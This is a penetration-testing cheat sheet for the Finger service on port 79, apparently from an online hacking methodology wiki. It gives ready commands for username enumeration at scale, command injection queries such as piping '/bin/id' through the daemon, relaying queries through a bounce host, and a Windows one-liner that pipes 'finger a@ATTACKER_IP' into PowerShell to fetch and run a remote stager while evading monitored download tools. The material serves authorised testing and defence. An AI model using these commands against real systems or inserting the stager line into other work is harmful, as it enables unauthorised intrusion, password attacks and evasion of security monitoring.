> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# 79 - Finger

`Default Port: 79`

Finger is one of the oldest protocols still occasionally found in the wild, built in 1971 to answer a simple question: who's logged into this machine, and who are they? It's rare on modern networks, but where it does turn up it's almost always worth the effort, usernames leak directly, and the protocol's legacy, minimally validated parsing occasionally allows outright command injection.

> **User Enumeration**
>
> Finger's entire purpose is answering "who is this user", which makes it a direct username oracle with zero authentication required.

> **Command Injection**
>
> Some finger daemon implementations pass the query almost unvalidated to a shell, turning a username lookup into command execution.

> [!TIP]
>
> Finger is plaintext and human-readable, a raw `nc` connection with a hand-typed query works exactly the same as any dedicated client. Useful when you don't have the `finger` binary installed.

***

## Basic Queries

```bash theme={null}
finger @TARGET              # list every logged-in user, if the daemon allows it
finger USER@TARGET            # get details on a specific user
finger -l USER@TARGET           # long format, more detail where supported
```

The same queries work directly over a raw connection, useful when the `finger` client isn't available:

```bash theme={null}
nc -vn TARGET 79
echo "root" | nc -vn TARGET 79
```

> **Raw query formats (null query, long format)**
>
> A completely empty query asks for every currently logged-in user:
>
> ```bash theme={null}
> printf '\r\n' | nc -vn TARGET 79
> ```
>
> `/W` requests the long-format listing, if the daemon supports it:
>
> ```bash theme={null}
> printf '/W\r\n' | nc -vn TARGET 79
> printf '/W root\r\n' | nc -vn TARGET 79
> ```

***

## Nmap Enumeration

```bash theme={null}
nmap --script finger -p79 TARGET
```

***

## User Enumeration at Scale

A single query confirms one username at a time, which is fine for a quick check but not for testing a wordlist. `finger-user-enum` from pentestmonkey automates that.

```bash theme={null}
finger-user-enum.pl -U users.txt -t TARGET
```

Checking one username across many hosts works the same way with the arguments swapped:

```bash theme={null}
finger-user-enum.pl -u root -t TARGET
finger-user-enum.pl -U users.txt -T ips.txt     # a wordlist against a list of hosts at once
```

```bash theme={null}
use auxiliary/scanner/finger/finger_users
set RHOSTS TARGET
run
```

***

## Command Injection

> [!WARNING]
>
> Not every finger daemon is vulnerable to this, it depends entirely on how the implementation handles the query string. Confirm the response actually reflects command output before treating this as a working technique.

Some finger daemons pass the query string close to verbatim into a shell call, which means a query starting with a pipe can execute arbitrary commands instead of looking up a user.

```bash theme={null}
finger "|/bin/id@TARGET"
finger "|/bin/ls -a /@TARGET"
```

If the response reflects command output rather than a "user not found" error, the injection worked.

***

## Finger Bounce

Much like an FTP bounce, a finger query can sometimes be relayed through one host to query a second host, letting you reach a target indirectly through a host you already have access to.

```bash theme={null}
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79
```

This asks `10.0.0.1` to finger `root` on `10.0.0.2` on your behalf, useful for reaching a host that isn't directly accessible to you but is to the relay.

> [!TIP]
>
> `finger-user-enum` supports this relay behavior natively with the `-r` flag, rather than needing to craft the raw query by hand.

***

## Windows: Finger as a Text Transfer Channel

> [!NOTE]
>
> This isn't exploiting finger itself, it's abusing the fact that `finger` is a built-in Windows command that can fetch arbitrary attacker-controlled text, useful for getting a stager onto a host where more obvious download tools are blocked or monitored.

```cmd theme={null}
finger a@ATTACKER_IP > payload.txt
```

Piped directly into PowerShell, this becomes a way to execute a remotely-hosted stager without ever touching `Invoke-WebRequest` or `certutil`, both of which are watched far more closely:

```cmd theme={null}
finger a@ATTACKER_IP | powershell -nop -
```

***

## Quick Reference Tools

> **[HackTricks: Finger](https://hacktricks.wiki/en/network-services-pentesting/pentesting-finger.html)**
>
> Deeper breakdown of Finger enumeration and exploitation techniques.

> [!WARNING]
>
> Finger exposes real usernames with no authentication. Even where command injection isn't possible, confirmed usernames feed directly into password spraying elsewhere, treat the enumeration itself as a meaningful finding.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.